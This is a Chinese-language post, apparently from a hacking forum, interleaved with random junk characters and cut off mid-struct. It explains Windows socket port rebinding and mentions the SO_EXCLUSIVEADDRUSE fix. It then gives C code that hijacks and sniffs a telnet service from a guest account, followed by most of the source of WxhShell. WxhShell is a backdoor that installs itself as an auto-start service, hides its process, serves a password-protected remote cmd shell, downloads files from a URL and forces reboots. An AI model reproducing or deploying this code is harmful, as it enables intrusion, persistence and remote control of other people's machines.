在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
4$vya+mAk5 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
vp-)$f& Pk*EnA) saddr.sin_family = AF_INET;
7G2TT a l} h<2 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
YMJjO0 i mJ{wF bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
pspV~9, ^V>sNR 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
3QGg; |QxDjL<&t4 这意味着什么?意味着可以进行如下的攻击:
G?8,&jP~T CXJ0N 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
})ss. 6C) G 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
+h[$\_y 5H?`a7q N 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
Q0nSOTQ ~f){`ZJc 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
HiVF<tN |\Qr
cf 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
:2 g^8bY=*
. 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
0y|}}92: Vk>aU3\c 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
9j9A'Y9( rWSw1(sAA #include
}U+gJkY2 #include
j1<@*W&b #include
GD.mB[f* #include
5/Swn9vwl DWORD WINAPI ClientThread(LPVOID lpParam);
hC5ivJ int main()
GQ)h Zt0 {
7kG>s9O WORD wVersionRequested;
`<+D<x)(3 DWORD ret;
hwkol W WSADATA wsaData;
UGr7,+N&w BOOL val;
Gl}=Q7 SOCKADDR_IN saddr;
j s7J#b7 SOCKADDR_IN scaddr;
CWt,cwFW int err;
UZ&bT'>;9g SOCKET s;
O,: en t| SOCKET sc;
o_os; int caddsize;
g8}/Ln*W' HANDLE mt;
vZ$uD,@;. DWORD tid;
_0^<)OSY wVersionRequested = MAKEWORD( 2, 2 );
6}{2W< err = WSAStartup( wVersionRequested, &wsaData );
Jp_{PR:& if ( err != 0 ) {
F]SexP4:A printf("error!WSAStartup failed!\n");
E}\^GNT return -1;
QT\S>} }
sStaTR{ saddr.sin_family = AF_INET;
$eRxCX?b2 fm:/}7s //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
y&9v0&o +<@7x16 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
%E~4 Ur saddr.sin_port = htons(23);
3(6i6 vV if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
[0F+t,` {
N$?mula printf("error!socket failed!\n");
7P:0XML} return -1;
Yq<D(F#qx }
wxr93$v val = TRUE;
}"Y]GH4Y //SO_REUSEADDR选项就是可以实现端口重绑定的
nN/v7^^ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
GeZwbJ/?B {
g#5g0UP)V printf("error!setsockopt failed!\n");
HIi"zo=V return -1;
&=t$
AIu }
=F8uuYX%m //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
'Ys"yY@ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
b"x;i\Z0% //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
E{Y0TZ+ KdYT5VUM/ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
y|iZuHS} {
;z)$wH0xc ret=GetLastError();
`Z]a6@w~ printf("error!bind failed!\n");
M ~.w:~Jm return -1;
LDr!d1A }
RiaO`|1 listen(s,2);
EmG`ga)s while(1)
C[? itk! {
m7^a4 caddsize = sizeof(scaddr);
g|e^}voRM //接受连接请求
`=b*g24z[N sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
NZ9`8&93 if(sc!=INVALID_SOCKET)
J'^BxN& {
Wky~ hm mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
lb`P9mbr+ if(mt==NULL)
=<O{ {
kH1l -mxz printf("Thread Creat Failed!\n");
!bT0kP$3} break;
v?n`kw }
!);}zW! }
&g.w~KWa CloseHandle(mt);
t<}'/
) }
^=E4~22q closesocket(s);
u#la+/
WSACleanup();
9%kY8#%SV return 0;
-!(3fO: }
\9@*Jgpd6* DWORD WINAPI ClientThread(LPVOID lpParam)
w&`gx6?-na {
q;tsA"l SOCKET ss = (SOCKET)lpParam;
(fm\kV SOCKET sc;
= J).(E89 unsigned char buf[4096];
tG{e( SOCKADDR_IN saddr;
"p2 $R*ie long num;
v#YO3nD DWORD val;
1}KNzMHk9 DWORD ret;
(3c,;koRR //如果是隐藏端口应用的话,可以在此处加一些判断
52wq<[#tK //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
:[|`&_D9J saddr.sin_family = AF_INET;
^?&Jq_oU saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
:]=Y1*L\) saddr.sin_port = htons(23);
)|uPCZdLZ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
dGP*bMCT {
L.l%EcW=, printf("error!socket failed!\n");
_BtppQIWv return -1;
>xJt&jW- }
TBrAYEk
val = 100;
cJj0`@0f if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
7+#^:;19` {
</:f-J%U/ ret = GetLastError();
RyIr_:&-~ return -1;
h_*=_ 2|} }
N;Hrc6nin^ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
@ g~kp {
b(;"p-^ ret = GetLastError();
$axaI$bE return -1;
zd>[uIOR }
]A9Vh if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
.y+>-[j?B {
MvL%*("4b printf("error!socket connect failed!\n");
m\"M`o
B closesocket(sc);
r7JILk closesocket(ss);
7ABHgw~?8r return -1;
Ud`V"X }
:4]&R9J>o while(1)
g^}X3NUn {
*z` {$hc //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
.Z'CqBr[: //如果是嗅探内容的话,可以再此处进行内容分析和记录
6"-LGK: //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
hSp[BsF`, num = recv(ss,buf,4096,0);
[3t
N-aj[ if(num>0)
3vQ?vS|2 send(sc,buf,num,0);
hY-;Wfg else if(num==0)
|KplbU0iC break;
TjgX' j num = recv(sc,buf,4096,0);
b;9v.MZ4>g if(num>0)
7{v0K"E{ send(ss,buf,num,0);
08yTTt76t else if(num==0)
j)'V_@ break;
IC92lPM } }
_Dwn@{[(8 closesocket(ss);
_+z@Qn?#6h closesocket(sc);
$J=9$.4" return 0 ;
=
fuF]yL% }
7s<v06Wo ehOF@IA_ D3;^!ln]D ==========================================================
Ibd7[A\ W{1=O)w 下边附上一个代码,,WXhSHELL
Fl(+c0|kT W\N-~9UA ==========================================================
b0riiF Xb)XV$0 #include "stdafx.h"
$M$oNOT}Y F{bET #include <stdio.h>
,#gA(B# #include <string.h>
&,{cm^* #include <windows.h>
#++MoW}'g #include <winsock2.h>
u9N?B* &{ #include <winsvc.h>
O 4l[4,` #include <urlmon.h>
_d
A-{ =WJ*$j( #pragma comment (lib, "Ws2_32.lib")
vh
KA8vr #pragma comment (lib, "urlmon.lib")
}\*dD2qNL} czdNqk.kh #define MAX_USER 100 // 最大客户端连接数
0O!%NL[, #define BUF_SOCK 200 // sock buffer
W{=>c/ #define KEY_BUFF 255 // 输入 buffer
Gv?3}8Wp frc>0\ #define REBOOT 0 // 重启
E88_15'3D #define SHUTDOWN 1 // 关机
e_\4(4x 3/}=x<ui
#define DEF_PORT 5000 // 监听端口
GB^Ch YOb goIn7ei92 #define REG_LEN 16 // 注册表键长度
7I(Sa?D: #define SVC_LEN 80 // NT服务名长度
]1abz: 31Zl"-<#- // 从dll定义API
+%UXI$v typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
VP0wa>50! typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
?
Yy[8_(tN typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
7EQ
|p typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
(+CB)nV0IA D
GOc! // wxhshell配置信息
)nQpO"+M struct WSCFG {
@6h=O`X> int ws_port; // 监听端口
"%qGcC8 char ws_passstr[REG_LEN]; // 口令
Z-Bw?_e_K int ws_autoins; // 安装标记, 1=yes 0=no
UKMrR9[x* char ws_regname[REG_LEN]; // 注册表键名
L7q%u.nB1 char ws_svcname[REG_LEN]; // 服务名
6>Lr char ws_svcdisp[SVC_LEN]; // 服务显示名
c}g^wLa char ws_svcdesc[SVC_LEN]; // 服务描述信息
q,0o:nI char ws_passmsg[SVC_LEN]; // 密码输入提示信息
G)5%f\& int ws_downexe; // 下载执行标记, 1=yes 0=no
4q~+K'Z char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
M!!W>A@T[g char ws_filenam[SVC_LEN]; // 下载后保存的文件名
#x':qBv# D-E30b]e };
c<pr1g Kn=P~,FaG3 // default Wxhshell configuration
;gK+AU struct WSCFG wscfg={DEF_PORT,
J--9VlC' "xuhuanlingzhe",
$N+a4 1,
/3'-+bp^= "Wxhshell",
`)1_^# k "Wxhshell",
uJF,:}qA "WxhShell Service",
HMrS:: "Wrsky Windows CmdShell Service",
_4x X}Z; "Please Input Your Password: ",
Tx`;y| 1,
"eZNci "
http://www.wrsky.com/wxhshell.exe",
z)]_ (zZ^ "Wxhshell.exe"
7=Ew[MOmM };
S=eY`,'#R q`"gT;3S // 消息定义模块
qD7#q] char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
A4Q8^^byY char *msg_ws_prompt="\n\r? for help\n\r#>";
3xp%o5K char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
cl^wLC'o char *msg_ws_ext="\n\rExit.";
% ]r@vjeyd char *msg_ws_end="\n\rQuit.";
xo7H^!_ char *msg_ws_boot="\n\rReboot...";
d_1w
9FA char *msg_ws_poff="\n\rShutdown...";
EoIP#Cnd1 char *msg_ws_down="\n\rSave to ";
"Z& { fC&Egy char *msg_ws_err="\n\rErr!";
{-7];e char *msg_ws_ok="\n\rOK!";
+>44'M^Z|( T&w3IKb|} char ExeFile[MAX_PATH];
! Hdg
$, int nUser = 0;
.!l#z|/x HANDLE handles[MAX_USER];
\_De(
p int OsIsNt;
#wk'&XsC#z Z+(V'e; SERVICE_STATUS serviceStatus;
"_}Hzpy5k SERVICE_STATUS_HANDLE hServiceStatusHandle;
J0C,KU( 8`U5/!6fu // 函数声明
$*9h\W-)`Q int Install(void);
Do=*bZ;A int Uninstall(void);
k
.KN9=o int DownloadFile(char *sURL, SOCKET wsh);
4g$mz:vo int Boot(int flag);
h=EJNz>U void HideProc(void);
)0yY|E\ int GetOsVer(void);
`5=0f}E int Wxhshell(SOCKET wsl);
e~i
?E void TalkWithClient(void *cs);
g5;
W6QX int CmdShell(SOCKET sock);
Ex&f}/F int StartFromService(void);
%kKe"$)0 int StartWxhshell(LPSTR lpCmdLine);
&owBmpz _udH(NC VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
!3kyPoq+ VOID WINAPI NTServiceHandler( DWORD fdwControl );
m%qah>11 ^z"90-V^ // 数据结构和表定义
,l.O @ SERVICE_TABLE_ENTRY DispatchTable[] =
]+
XgH#I {
6AUXYbK, {wscfg.ws_svcname, NTServiceMain},
XB50>??NE {NULL, NULL}
iVFHr<zk };
o'D{ql ,*bI0mFZ // 自我安装
T&tCXi int Install(void)
NyeGa {
.B6$U>>NS^ char svExeFile[MAX_PATH];
_^0yE_ili HKEY key;
5owUQg,W strcpy(svExeFile,ExeFile);
Q/1
6D M$FQoRwH // 如果是win9x系统,修改注册表设为自启动
OzA"i y if(!OsIsNt) {
U~s&}M\n if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Y"K7$+5#\ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
dSS_^E[{ RegCloseKey(key);
`Ft.Rwj2:m if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
BYqDC<Fq RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
qCc'w8A RegCloseKey(key);
4IG'Tm return 0;
/H: '(W_b; }
<q~&g
&&+ }
)67Kd] }
BBnj}XP*4 else {
/IxMRi= 4[ "$}O5 // 如果是NT以上系统,安装为系统服务
38>8{Ma SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
+s
V$s]U if (schSCManager!=0)
0"ZB|^c= {
kgEGL]G> SC_HANDLE schService = CreateService
G!ty@
Fx (
",B92[}Ar schSCManager,
xzyV|( wscfg.ws_svcname,
5dXC wscfg.ws_svcdisp,
EZ8Ih,j9 SERVICE_ALL_ACCESS,
c}U&!R2p{ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Y 'Yoc SERVICE_AUTO_START,
C8m8ys SERVICE_ERROR_NORMAL,
}e9E+2}Z\ svExeFile,
51*o&:eim NULL,
l=Jbuc NULL,
D`o*OlU NULL,
WID4 {>G2 NULL,
>/. -N NULL
=4RnXZ[P0 );
)U6T]1 if (schService!=0)
$"!"=v%B {
*S~gF/*kP CloseServiceHandle(schService);
W=M]1hy CloseServiceHandle(schSCManager);
CKNC"Y*X strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
)|x)KY strcat(svExeFile,wscfg.ws_svcname);
&y;('w if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Zoh2m`6 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
Be68 Fu0 RegCloseKey(key);
RnE=T/VZJ return 0;
xx)egy_ }
D^E1 }
/(bPc12 CloseServiceHandle(schSCManager);
pUZbZ
U }
ssoIC }
]uI#4t~ W~$YKBW return 1;
V)mRG`L }
(%rO'X ;$ D*,W
* // 自我卸载
]S[M]-I int Uninstall(void)
6#MIt:# {
/[#<@o HKEY key;
7{
(t_N> ,P3nZ if(!OsIsNt) {
@SF*Kvb& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
4yV}4f$q RegDeleteValue(key,wscfg.ws_regname);
: P>Wd3m RegCloseKey(key);
Q mT L- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
OxqK}%=Bw RegDeleteValue(key,wscfg.ws_regname);
V*@pmOhz RegCloseKey(key);
EJ`JN|,M return 0;
YLVIn_\} }
Z!0D97^ }
@MWrUx }
6D_3Hwrs else {
c:.k2u 3fgVvt-2 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
h2#G if (schSCManager!=0)
\{ r%.G {
#eD@sEn SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
`f,SY if (schService!=0)
Ob$|IH8. {
ftw\oGrS if(DeleteService(schService)!=0) {
hF"yxucj$ CloseServiceHandle(schService);
EtjN :p|$ CloseServiceHandle(schSCManager);
_Qs=v0B// return 0;
^31X-}tv }
Q&}`( ]k CloseServiceHandle(schService);
v@_b"w_TY }
p&/}0eL y CloseServiceHandle(schSCManager);
Zg"g/I.+d }
w[~O@:`]<o }
J+r\EN^9 3qR%Mf' return 1;
;HtHN
K(o }
jc)[5i0 %e.tAl"!$ // 从指定url下载文件
"a
%5on int DownloadFile(char *sURL, SOCKET wsh)
k\8]fh)J\7 {
ln-+=jk HRESULT hr;
{x{e?c! char seps[]= "/";
)EZ#BF<0| char *token;
KP`{ UD) char *file;
AC;ja$A# char myURL[MAX_PATH];
tn&~~G~# char myFILE[MAX_PATH];
8x#SpDI 6," 86 strcpy(myURL,sURL);
3e+ Ih2 token=strtok(myURL,seps);
48l!P(>?y while(token!=NULL)
Q>]FO {
r9G}[#DO file=token;
xPoI+, token=strtok(NULL,seps);
$Zf hQ5bat }
Z+!._uA %;$zR} GetCurrentDirectory(MAX_PATH,myFILE);
8R<2I1xn2 strcat(myFILE, "\\");
;L (dmx? strcat(myFILE, file);
MwMv[];I send(wsh,myFILE,strlen(myFILE),0);
^}vL ZA send(wsh,"...",3,0);
~jWG U-m hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
LxaR1E(Cc' if(hr==S_OK)
b2]1Dfw return 0;
g/e\EkT else
2MaHD}1Jw return 1;
f}Mx\dc ?*lpu }
@(Q'J` ;K]6/Wt // 系统电源模块
rvrv[^a( int Boot(int flag)
}{/3yXk[G {
;LSdY}*%0 HANDLE hToken;
@k~'b TOKEN_PRIVILEGES tkp;
uf4C+ci 32j@6! if(OsIsNt) {
I*8i=O@0T OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
3~v'Ev LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
Sxo9y0K8- tkp.PrivilegeCount = 1;
oRmz'F tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
=g)|g+[H AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
K'z|a{ru.{ if(flag==REBOOT) {
d(!W if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
SKO*x^"eU return 0;
,?s3%<\2 }
$*a'[Qot# else {
80=6B if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
(ns>z7 return 0;
do0;"O0
( }
5H8]N#Y& }
yv1Z*wTpO else {
^PHWUb+`` if(flag==REBOOT) {
#'s}=i}y"C if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
`j+[JMr return 0;
/sHWJ?`&/, }
zE$KU$ else {
kex4U6&OQB if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
?VVtEmIN return 0;
7S+_eL^ }
h:%L% Y9z }
Y)="of U8Rko) return 1;
rq=D[vX\N( }
?U3X,uv5J ["]r=l // win9x进程隐藏模块
rm}OVL void HideProc(void)
Wc]L43u {
i%RN0UO^ P,1[NW HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
`x%(
n@ g if ( hKernel != NULL )
N0`v;4gF$] {
Z1u:OI@( pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
h,QC#Ak o ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
*2wFLh FreeLibrary(hKernel);
v 809/c* }
Ej|rf Y PU|
X+V> return;
v8=7 }
II(7U3 &,vPZ,7l // 获取操作系统版本
FwD"Pc2 int GetOsVer(void)
doeYc {
Ci{,e% OSVERSIONINFO winfo;
GI:J9TS winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
~{-zj GetVersionEx(&winfo);
C9+`sFau@ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
g~,"C8-H return 1;
jN.'%5Q?H else
Qv~KGd9 return 0;
Q#+y}pOLP }
_; 7{1n #9=as Y // 客户端句柄模块
Z.:g8Xl-6 int Wxhshell(SOCKET wsl)
mRJX, {
RE*;_DF SOCKET wsh;
|"7F`M96I struct sockaddr_in client;
OB-gH3: DWORD myID;
*>b*I4dz 3 *0/<1f1! while(nUser<MAX_USER)
1D@'uApi. {
fcDiYJC* int nSize=sizeof(client);
j A/xe wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
TCb 7-s if(wsh==INVALID_SOCKET) return 1;
_wvSLu <q w0`aW6t# handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
_T[7N|'O if(handles[nUser]==0)
a g=,oYn closesocket(wsh);
G.ag$KF else
0[ (Z48 nUser++;
(7v]bqfw }
AHa%?wb WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
lt:xN?--A? iA=QK
u! return 0;
}a=<Gl|I;w }
#2&DDy)Bf M}jF-z // 关闭 socket
f8Z[prfP void CloseIt(SOCKET wsh)
V_)G=#6Dy {
(+M]C] closesocket(wsh);
>j&+mii nUser--;
_tl ExitThread(0);
6I5,PB }
H83Gx; *OoM[wEY // 客户端请求句柄
\U(;%V void TalkWithClient(void *cs)
.Oh4b5 {
Etv!:\\[ B;[ai?@c(_ SOCKET wsh=(SOCKET)cs;
-eZ$wn![ char pwd[SVC_LEN];
>a6{y char cmd[KEY_BUFF];
ape\zZCV char chr[1];
qM~;Q6{v int i,j;
+>v3&[lGv U^AywE] while (nUser < MAX_USER) {
rGNYu\\ %
~!A, if(wscfg.ws_passstr) {
2h_XfY'3pX if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
g>L4N.ZH_v //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Z>9uVBE02 //ZeroMemory(pwd,KEY_BUFF);
huPAWlxT i=0;
aicvu(%EE while(i<SVC_LEN) {
gL)l)}# MM+x}g.? // 设置超时
8mrB_B5 fd_set FdRead;
]g/:l S4 struct timeval TimeOut;
ef
!@|2 FD_ZERO(&FdRead);
{>x6SVF FD_SET(wsh,&FdRead);
he/WqCZg TimeOut.tv_sec=8;
!xqy6%p TimeOut.tv_usec=0;
NVt612/'7y int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
E ISgc {s if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
3I}(as{Rp O~wZU Zf if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
%A]?5J)Bi pwd
=chr[0]; E.ugr])
if(chr[0]==0xd || chr[0]==0xa) { bSG}I|
pwd=0; %3Ba9Nmid
break; [UP-BX(
} D90.z"N\i9
i++; {c(@u6l28
} xZMQ+OW2i
( o(, ;
// 如果是非法用户,关闭 socket }jfOs(Q]
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); xOKLc!J
} n8FmIoZ&`
L6>;"]:f`
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "7G>
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QsXy(w#F
4@qHS0$
while(1) { *VP-fyJp
sf7~hN*
ZeroMemory(cmd,KEY_BUFF); Fj_6jsDb
)U2cS\k'7n
// 自动支持客户端 telnet标准 H}ie D"T_
j=0; x/<eY<Vgm?
while(j<KEY_BUFF) { -2D/RE7|
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GBh$nVn$
cmd[j]=chr[0]; uPbGQ :%}
if(chr[0]==0xa || chr[0]==0xd) { ls;!Og9
cmd[j]=0; 5]c\{G
break; 80'!XKSP
} =yR$^VSY
j++; ekR/X
} r bfIH":
cs-wqxTX[$
// 下载文件 ?W27
h
if(strstr(cmd,"http://")) { /s/\5-U7q
send(wsh,msg_ws_down,strlen(msg_ws_down),0); Y&![2o.Q
if(DownloadFile(cmd,wsh)) ep ,"@,,
send(wsh,msg_ws_err,strlen(msg_ws_err),0); # $N)
else VR'R7
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aSGZF w
} pHftz-RS!
else { 7NFRCCXHQ
;Xr|['\'
switch(cmd[0]) { o/J2BZ<_<
K6z)&<
// 帮助 h1_9Xp~N
case '?': { ;ndwVZ~,
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 2F
z;TNS
break; MsD@pa
} lTR/o
// 安装 tCVaRP8eC+
case 'i': { 0etJ, _">
if(Install()) 3g{T+c*
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;^"#3_7T]
else SjmWlf,
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2[V9`r8*
break; qQ{i2D%)?f
} +YX*.dW
// 卸载 xY=%+o.?*
case 'r': { LQo>wl
if(Uninstall()) xQ]^wT.Q
send(wsh,msg_ws_err,strlen(msg_ws_err),0); _u]S/X-
else ^&|KuI+u
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c %f'rj
break; v PJ=~*P=
} Z'<I
Is:J
// 显示 wxhshell 所在路径 y@'~fI!E4
case 'p': { ,,Ia 4c
char svExeFile[MAX_PATH]; bT8 ?(Iu
strcpy(svExeFile,"\n\r"); \'>8 (i~
strcat(svExeFile,ExeFile); Rf4}4ixkj
send(wsh,svExeFile,strlen(svExeFile),0); j@guB:0
break; d1{%z\u
a
} ExW3LM9(
// 重启 Vz\?a8qQ<
case 'b': { +\ZaVi
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); P.t0o~hoK;
if(Boot(REBOOT)) o-ee3j.
send(wsh,msg_ws_err,strlen(msg_ws_err),0); B*-A erdH
else { aSEzh78
closesocket(wsh); xULcS :Q
ExitThread(0); ^}{`bw {
} kw$*o
k
break; S O#R5Mu2N
} GEGg
S&SM
// 关机 Ir4M5OR\
case 'd': { U 6`E\?d`
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); + 2j]
if(Boot(SHUTDOWN)) TNj WZ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); x9qoS)@CM
else { $%Kyz\;7/
closesocket(wsh); h+ggrwg'
ExitThread(0); }~bx==SF6!
} 1=^edQ+
break; BIn7<.&
} ;XDGlv%
// 获取shell lDf:~
case 's': { IV]2#;OO?
CmdShell(wsh); %I^y@2A4`
closesocket(wsh); 0,M1Q~u%.
ExitThread(0); uupfL>h
break; wQR0R~|M
} rl0|)j
// 退出 NNTUl$
case 'x': { 5n#@,V.O/
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); a'prlXr\4
CloseIt(wsh); (q+EP(Q
break; `/+PZqdC
} ?c0@A*:o
// 离开 e"u89acp
case 'q': { qCUn.
mI
send(wsh,msg_ws_end,strlen(msg_ws_end),0); vbMt}bM(GD
closesocket(wsh); Dxx`<=&g
WSACleanup(); JZom#A.
dt
exit(1); eI:;l];G9
break; :WM[[LOaC
} ns}"[44C}l
} q*pWx]Y
} =e!o
/q\{Os rX
// 提示信息 _rIFwT1]
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \|< 5zL
} iL\eMa
} <`Q*I
Y
n^+rxG6L
return; [KT1.5M[
} 5.o{A#/NTl
A{(<#yRfg
// shell模块句柄 *0!IHr"fn
int CmdShell(SOCKET sock) <7X6ULQ
{ m@#@7[6]o
STARTUPINFO si; |h{#r7H0
ZeroMemory(&si,sizeof(si)); !3JYG
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; YjTA+1}
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; n+94./Mh
PROCESS_INFORMATION ProcessInfo; MET"s.v
char cmdline[]="cmd"; "U6:z M
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +u[?8D7Y
return 0; zSM;N^X 8?
} (Tbw@BFk
5:6]ZFW
// 自身启动模式 B 4my
int StartFromService(void) j ?gscQ3
{ Q4!6|%n8v
typedef struct vb1Gz]~)>
{ [;*Vm0>t
